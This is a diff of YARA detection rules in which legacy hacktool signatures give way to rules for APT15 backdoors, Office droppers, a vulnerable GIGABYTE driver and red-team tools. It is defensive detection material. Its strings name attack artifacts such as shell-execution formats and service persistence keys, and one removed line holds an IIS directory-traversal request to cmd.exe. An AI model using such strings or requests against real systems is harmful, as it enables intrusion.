-		description = "Auto-generated rule on file DomainScanV1_0.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "94ead827-8b29-5cb5-82b6-a7ca5087bf7e"
-		date = "2023-12-05"
+		description = "Detects malware from APT 15 report by NCC Group"
+		author = "Florian Roth (Nextron Systems)"
+		id = "700bbe14-d79e-5a35-aab3-31eacd5bd950"
+		date = "2018-03-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L185-L202"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aefcd73b802e1c2bdc9b2ef206a4f24e"
-		logic_hash = "b06d902528fee5d1718d0a2984af3314e92e1ec7033c7596f9fb0e51a20eb848"
+		reference = "https://goo.gl/HZ5XMN"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L61-L87"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "306903da4ecc9f5bf670d8c49039dee0ce5500c185acaef74786a2c109a4734b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "750d9eecd533f89b8aa13aeab173a1cf813b021b6824bc30e60f5db6fa7b950b"
 
 	strings:
-		$s0 = "dIJMuX$aO-EV"
-		$s1 = "XELUxP\"-\\"
-		$s2 = "KaR\"U'}-M,."
-		$s3 = "V.)\\ZDxpLSav"
-		$s4 = "Decompress error"
-		$s5 = "Can't load library"
-		$s6 = "Can't load function"
-		$s7 = "com0tl32:.d"
+		$x1 = "AAAAKQAASCMAABi+AABnhEBj8vep7VRoAEPRWLweGc0/eiDrXGajJXRxbXsTXAcZAABK4QAAPWwAACzWAAByrg==" fullword ascii
+		$x2 = "AAAAKQAASCMAABi+AABnhKv3kXJJousn5YzkjGF46eE3G8ZGse4B9uoqJo8Q2oF0AABK4QAAPWwAACzWAAByrg==" fullword ascii
+		$a1 = "http://%s/content.html?id=%s" fullword ascii
+		$a2 = "http://%s/main.php?ssid=%s" fullword ascii
+		$a3 = "http://%s/webmail.php?id=%s" fullword ascii
+		$a9 = "http://%s/error.html?tab=%s" fullword ascii
+		$s1 = "%s\\~tmp.txt" fullword ascii
+		$s2 = "%s /C %s >>\"%s\" 2>&1" fullword ascii
+		$s3 = "DisableFirstRunCustomize" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_Moorer_Port_Scanner
+rule SIGNATURE_BASE_APT15_Malware_Mar18_Msexchangetool : FILE
 {
 	meta:
-		description = "Auto-generated rule on file MooreR Port Scanner.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "5d8fb83f-bed3-53d2-bd33-2158911dc7c8"
-		date = "2023-12-05"
+		description = "Detects malware from APT 15 report by NCC Group"
+		author = "Florian Roth (Nextron Systems)"
+		id = "81b826b6-8c2e-5a8a-a626-9515d40dbbb0"
+		date = "2018-03-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L204-L217"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "376304acdd0b0251c8b19fea20bb6f5b"
-		logic_hash = "248f437964fc6f7836f6b4c87e1f35bb1bac25a1a484cdf1a4065e7efb823b51"
+		reference = "https://goo.gl/HZ5XMN"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L89-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4e9e29bc69383ab6248241622394afddde6e18032ed6e2b64575362773f25a94"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "16b868d1bef6be39f69b4e976595e7bd46b6c0595cf6bc482229dbb9e64f1bce"
 
 	strings:
-		$s0 = "Description|"
-		$s3 = "soft Visual Studio\\VB9yp"
-		$s4 = "adj_fptan?4"
-		$s7 = "DOWS\\SyMem32\\/o"
+		$s1 = "\\Release\\EWSTEW.pdb" ascii
+		$s2 = "EWSTEW.exe" fullword wide
+		$s3 = "Microsoft.Exchange.WebServices.Data" fullword ascii
+		$s4 = "tmp.dat" fullword wide
+		$s6 = "/v or /t is null" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <40KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Netbios_Name_Scanner
+rule SIGNATURE_BASE_Clean_Apt15_Patchedcmd : FILE
 {
 	meta:
-		description = "Auto-generated rule on file NetBIOS Name Scanner.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "03716e00-a969-5ab5-9be7-e8fc4272e40f"
+		description = "This is a patched CMD. This is the CMD that RoyalCli uses."
+		author = "Ahmed Zaki"
+		id = "c6867ad4-f7f2-5d63-bffd-07599ede635d"
 		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L219-L231"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "888ba1d391e14c0a9c829f5a1964ca2c"
-		logic_hash = "19b40a283b74317fece2f5be0ee3e38227d9631eebbc7efb0ea19056b52630f1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L118-L131"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "90d1f65cfa51da07e040e066d4409dc8a48c1ab451542c894a623bc75c14bf8f"
+		logic_hash = "08a68e14793d2f44ee75e49a43521c7d8bc1fc5ddd005e1fb71cc844966e16ba"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s0 = "IconEx"
-		$s2 = "soft Visual Stu"
-		$s4 = "NBTScanner!y&"
+		$ = "eisableCMD" wide
+		$ = "%WINDOWS_COPYRIGHT%" wide
+		$ = "Cmd.Exe" wide
+		$ = "Windows Command Processor" wide
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Felikspack3___Scanners_Ipscan
+rule SIGNATURE_BASE_Malware_Apt15_Royalcli_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule on file ipscan.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "8360b268-3434-5142-9248-40b7a1589be9"
+		description = "Generic strings found in the Royal CLI tool"
+		author = "David Cannings"
+		id = "432c09bf-3c44-5a2c-ba69-7b4fe7eb43cc"
 		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L233-L245"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6c1bcf0b1297689c8c4c12cc70996a75"
-		logic_hash = "8da10a4536ecea889f29bb3f098518580629bf48eda88db7adfc5f61738ede25"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L133-L152"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
+		logic_hash = "3cc0cd81db58e20fbf31fbd9fe65d113b7160e7d2b6739c01987d9e317099b9b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s2 = "WCAP;}ECTED"
-		$s4 = "NotSupported"
-		$s6 = "SCAN.VERSION{_"
+		$ = "%s~clitemp%08x.tmp" fullword
+		$ = "%s /c %s>%s" fullword
+		$ = "%snewcmd.exe" fullword
+		$ = "%shkcmd.exe" fullword
+		$ = "%s~clitemp%08x.ini" fullword
+		$ = "myRObject" fullword
+		$ = "myWObject" fullword
+		$ = "2 %s  %d 0 %d\x0D\x0A"
+		$ = "2 %s  %d 1 %d\x0D\x0A"
+		$ = "%s file not exist" fullword
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and 5 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Cgisscan_Cgiscan
+rule SIGNATURE_BASE_Malware_Apt15_Royalcli_2 : FILE
 {
 	meta:
-		description = "Auto-generated rule on file CGIScan.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "60bd5038-a308-55fd-85bb-2c4183f1c951"
+		description = "APT15 RoyalCli backdoor"
+		author = "Nikolaos Pantazopoulos"
+		id = "d4acfd2d-385d-5063-898e-d339b50733eb"
 		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L247-L259"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "338820e4e8e7c943074d5a5bc832458a"
-		logic_hash = "5bd856a77c53616cf78d093462f8b7ca5a5fb0924406a02941d86bdb015a1fbc"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L154-L167"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c57ae92ba84355652cd56c8eaad3f277a8f514f8d078f053f3e8208b8bec535f"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s1 = "Wang Products" fullword wide
-		$s2 = "WSocketResolveHost: Cannot convert host address '%s'"
-		$s3 = "tcp is the only protocol supported thru socks server"
+		$string1 = "%shkcmd.exe" fullword
+		$string2 = "myRObject" fullword
+		$string3 = "%snewcmd.exe" fullword
+		$string4 = "%s~clitemp%08x.tmp" fullword
+		$string6 = "myWObject" fullword
 
 	condition:
-		all of ($s*)
+		uint16(0)==0x5A4D and 2 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_IP_Stealing_Utilities
+rule SIGNATURE_BASE_Malware_Apt15_Royaldll
 {
 	meta:
-		description = "Auto-generated rule on file IP Stealing Utilities.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "3a947e9c-d707-5819-88f2-059585750048"
+		description = "DLL implant, originally rights.dll and runs as a service"
+		author = "David Cannings"
+		id = "26baef92-1055-56dc-b274-e2a6bc05d85b"
 		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L261-L272"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "65646e10fb15a2940a37c5ab9f59c7fc"
-		logic_hash = "38958edeee6e140e11267cdd7899ad517799dbce33ac267d51dea0f8aecfa1ee"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L196-L243"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
+		logic_hash = "2ed0d38993a072da189f02233bd7cc0bf1be02e926f687db224f52de9b3a44fc"
 		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$s0 = "DarkKnight"
-		$s9 = "IPStealerUtilities"
+		$opcodes_jshash = { B8 A7 C6 67 4E 83 C1 02 BA 04 00 00 00 57 90 }
+		$opcodes_encode = { 0F B6 1C 03 8B 55 08 30 1C 17 47 3B 7D 0C }
+		$opcodes_sleep_loop = { 68 (88|B8) (13|0B) 00 00 FF D6 4F 75 F6 }
+		$ = "Nwsapagent" fullword
+		$ = "\"%s\">>\"%s\"\\s.txt"
+		$ = "myWObject" fullword
+		$ = "del c:\\windows\\temp\\r.exe /f /q"
+		$ = "del c:\\windows\\temp\\r.ini /f /q"
 
 	condition:
-		all of them
+		3 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Superscan4
+rule SIGNATURE_BASE_Malware_Apt15_Royaldll_2 : FILE
 {
 	meta:
-		description = "Auto-generated rule on file SuperScan4.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "bd353382-ffa2-56c5-b842-1ffc94d6849e"
+		description = "DNS backdoor used by APT15"
+		author = "Ahmed Zaki"
+		id = "3bc546a5-38b9-5504-b09e-305ba7bbd6bc"
 		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L274-L287"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "78f76428ede30e555044b83c47bc86f0"
-		logic_hash = "7f76c59e85efac5c150f783606e2a9bdc8724c6afd9f9c6405d63f7467c72752"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L245-L261"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
+		logic_hash = "94e2b61ff19b1377f461203cb22c607e718683691e54a3de3ed32bf6ed2897fa"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s2 = " td class=\"summO1\">"
-		$s6 = "REM'EBAqRISE"
-		$s7 = "CorExitProcess'msc#e"
+		$ = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost" wide ascii
+		$ = "netsvcs" wide ascii fullword
+		$ = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" wide ascii fullword
+		$ = "SYSTEM\\CurrentControlSet\\Services\\" wide ascii
+		$ = "myWObject" wide ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them and pe.exports("ServiceMain") and filesize >50KB and filesize <600KB
 }
 import "pe"
 
-rule SIGNATURE_BASE_Portracer
+rule SIGNATURE_BASE_Malware_Apt15_Exchange_Tool : FILE
 {
 	meta:
-		description = "Auto-generated rule on file PortRacer.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "54717938-2f4c-5442-b0ad-40b9acd1101a"
+		description = "This is a an exchange enumeration/hijacking tool used by an APT 15"
+		author = "Ahmed Zaki"
+		id = "f07b9537-0741-51c8-a9fa-836430fe4855"
 		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L288-L300"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2834a872a0a8da5b1be5db65dfdef388"
-		logic_hash = "f6ad85a8970b10e25becca76e17bff30cbc787ed45f331af4ecf9563ff11b65d"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L263-L283"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d21a7e349e796064ce10f2f6ede31c71"
+		logic_hash = "e7b5ac97f3dcf125e64001be53aca73ee19c1be8b192a762f231106c47f76867"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s0 = "Auto Scroll BOTH Text Boxes"
-		$s4 = "Start/Stop Portscanning"
-		$s6 = "Auto Save LogFile by pressing STOP"
+		$s1 = "subjectname" fullword
+		$s2 = "sendername" fullword
+		$s3 = "WebCredentials" fullword
+		$s4 = "ExchangeVersion" fullword
+		$s5 = "ExchangeCredentials" fullword
+		$s6 = "slfilename" fullword
+		$s7 = "EnumMail" fullword
+		$s8 = "EnumFolder" fullword
+		$s9 = "set_Credentials" fullword
+		$s18 = "/v or /t is null" wide
+		$s24 = "2013sp1" wide
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Scanarator
+rule SIGNATURE_BASE_Malware_Apt15_Generic
 {
 	meta:
-		description = "Auto-generated rule on file scanarator.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "dfc3ff29-03b4-58ca-bfe0-c6888fddab67"
+		description = "Find generic data potentially relating to AP15 tools"
+		author = "David Cannings"
+		id = "4eb50731-22df-5f7a-bf5f-166ef84cf8b5"
 		date = "2023-12-05"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L302-L312"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "848bd5a518e0b6c05bd29aceb8536c46"
-		logic_hash = "9400435470c26245cd814e1e39f275eb22566d66d1a72d4f3e618a6ad11bc8d9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L285-L307"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e939a5ab4a4b2b289d5809e18dd57dd85e3da19a176719adba4707dfd605fc81"
 		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$s4 = "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
+		$str01 = "myWObject" fullword
+		$str02 = "myRObject" fullword
+		$opcodes01 = { 6A (02|03) 6A 00 6A 00 68 00 00 00 C0 50 FF 15 }
 
 	condition:
-		all of them
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Aolipsniffer
+rule SIGNATURE_BASE_SUSP_CMD_Var_Expansion : FILE
 {
 	meta:
-		description = "Auto-generated rule on file aolipsniffer.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "f7cc0f31-6ba4-504b-82de-0334257b8a95"
-		date = "2023-12-05"
+		description = "Detects Office droppers that include a variable expansion string"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3f3ebea0-1d33-513d-b32b-9d87607525e8"
+		date = "2018-09-26"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L314-L332"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "51565754ea43d2d57b712d9f0a3e62b8"
-		logic_hash = "e627b8ea85e4325714c98e93ad6147adfa600af548a80dce8548b7f5743733b5"
-		score = 75
+		reference = "https://twitter.com/asfakian/status/1044859525675843585"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_cmd_var_expansion.yar#L2-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "68ce14cac07494645f3b5f1d61012e4fe21cfa9fa7ad4019add2368b568fe043"
+		score = 60
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s0 = "C:\\Program Files\\Microsoft Visual Studio\\VB98\\VB6.OLB"
-		$s1 = "dwGetAddressForObject"
-		$s2 = "Color Transfer Settings"
-		$s3 = "FX Global Lighting Angle"
-		$s4 = "Version compatibility info"
-		$s5 = "New Windows Thumbnail"
-		$s6 = "Layer ID Generator Base"
-		$s7 = "Color Halftone Settings"
-		$s8 = "C:\\WINDOWS\\SYSTEM\\MSWINSCK.oca"
+		$a1 = " /V:ON" ascii wide fullword
 
 	condition:
-		all of them
+		uint16(0)==0xcfd0 and filesize <500KB and $a1
 }
-import "pe"
-
-rule SIGNATURE_BASE__Bitchin_Threads_
+rule SIGNATURE_BASE_Gen_Suspicious_Inpage_Dropper : FILE
 {
 	meta:
-		description = "Auto-generated rule on file =Bitchin Threads=.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "3a51e76c-b360-5f10-961c-ecc3ea3fa3c9"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Florian Roth"
+		id = "9144711a-e6ee-5c97-a5f4-3f6df1d630dc"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L334-L345"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7491b138c1ee5a0d9d141fbfd1f0071b"
-		logic_hash = "f43fec37d9dc668b562838465e5696e502c638b207e7af6a77fac5a8b00e92a8"
-		score = 75
+		reference = "https://twitter.com/Ahmedfshosha/status/1138138981521154049"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_suspicious_InPage_dropper.yar#L1-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8ab5d0bffa72b32f4c388f42a38a799c178fddf9f06b1262842e146c43448bd4"
+		score = 65
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "013417bd5465d6362cd43c70015c7a74a1b8979785b842b7cfa543cb85985852"
+		hash2 = "1d1e7a6175e6c514aaeca8a43dabefa017ddc5b166ccb636789b6a767181a022"
+		hash3 = "bd293bdf3be0a44a92bdb21e5fa75c124ad1afed3c869697bf90c9732af0e994"
+		hash4 = "d8edf3e69f006f85b9ee4e23704cd5e95e895eb286f9b749021d090448493b6f"
 
 	strings:
-		$s0 = "DarKPaiN"
-		$s1 = "=BITCHIN THREADS"
+		$s1 = "InPage Arabic Document"
+		$c1 = {31 06 83 c6 04 e2 }
+		$c2 = {90 90 90 90 90 90 90 e8 fb }
 
 	condition:
-		all of them
+		filesize <3MB and uint32be(0)==0xD0CF11E0 and $s1 and 1 of ($c*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Cgis4_Cgis4
+rule SIGNATURE_BASE_VULN_PUA_GIGABYTE_Driver_Jul22_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule on file cgis4.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "98fbf445-b7a5-58fa-8f06-34be7321e2eb"
-		date = "2023-12-05"
+		description = "Detects a vulnerable GIGABYTE driver sometimes used by malicious actors to escalate privileges"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c66b858f-a034-53e1-b0fd-e48693fc6913"
+		date = "2022-07-25"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L347-L362"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d658dad1cd759d7f7d67da010e47ca23"
-		logic_hash = "2cf3fc6447323cbefe5f5ad02271eeb4c271bb9784d2c29030858542a43fbb04"
-		score = 75
+		reference = "https://twitter.com/malmoeb/status/1551449425842786306"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/vuln_gigabyte_driver.yar#L2-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8aeae559b52b8e01ceab8caba24653b949b3bec694a14b36c819b0a7c9f8b7c6"
+		score = 65
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
 
 	strings:
-		$s0 = ")PuMB_syJ"
-		$s1 = "&,fARW>yR"
-		$s2 = "m3hm3t_rullaz"
-		$s3 = "7Projectc1"
-		$s4 = "Ten-GGl\""
-		$s5 = "/Moziqlxa"
+		$xc1 = { 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73
+               00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 32
+               00 2E 00 33 00 37 00 39 00 30 00 2E 00 31 00 38
+               00 33 00 30 00 20 00 62 00 75 00 69 00 6C 00 74
+               00 20 00 62 00 79 00 3A 00 20 00 57 00 69 00 6E
+               00 44 00 44 00 4B 00 00 00 00 00 32 00 09 00 01
+               00 49 00 6E 00 74 00 65 00 72 00 6E 00 61 00 6C
+               00 4E 00 61 00 6D 00 65 00 00 00 67 00 64 00 72
+               00 76 00 2E 00 73 00 79 00 73 }
+		$x1 = "AEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAuADIALgAzADcAOQAwAC4AMQA4ADMAMAAgAGIAdQBpAGwAdAAgAGIAeQA6ACAAVwBpAG4ARABEAEsAAAAAADIACQABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAZwBkAHIAdgAuAHMAeQBz"
+		$x2 = "BGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADUALgAyAC4AMwA3ADkAMAAuADEAOAAzADAAIABiAHUAaQBsAHQAIABiAHkAOgAgAFcAaQBuAEQARABLAAAAAAAyAAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAGcAZAByAHYALgBzAHkAc"
+		$x3 = "ARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAA1AC4AMgAuADMANwA5ADAALgAxADgAMwAwACAAYgB1AGkAbAB0ACAAYgB5ADoAIABXAGkAbgBEAEQASwAAAAAAMgAJAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABnAGQAcgB2AC4AcwB5AH"
 
 	condition:
-		all of them
+		filesize <4000KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Portscan
+rule SIGNATURE_BASE_HKTL_NET_NAME_Fakefilemaker : FILE
 {
 	meta:
-		description = "Auto-generated rule on file portscan.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "967d6e3b-ae0d-5f93-a20d-742fc010608d"
-		date = "2023-12-05"
+		description = "Detects .NET red/black-team tools via name"
+		author = "Arnim Rupp"
+		id = "2c87114f-5295-583f-b567-623d478ce0eb"
+		date = "2021-01-22"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L364-L375"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a8bfdb2a925e89a281956b1e3bb32348"
-		logic_hash = "d93b54ffc7416b5354304daf156908f11d7e320a91bd936e397a15ede63caae3"
+		reference = "https://github.com/DamonMohammadbagher/FakeFileMaker"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_names.yar#L3-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "27d402835f31b6383c837e90248ae5c6d22f4c267d52625ebfbcc2ee5099ccad"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "0    :SCAN BEGUN ON PORT:"
-		$s6 = "0    :PORTSCAN READY."
+		$name = "FakeFileMaker" ascii wide
+		$compile = "AssemblyTitle" ascii wide
 
 	condition:
-		all of them
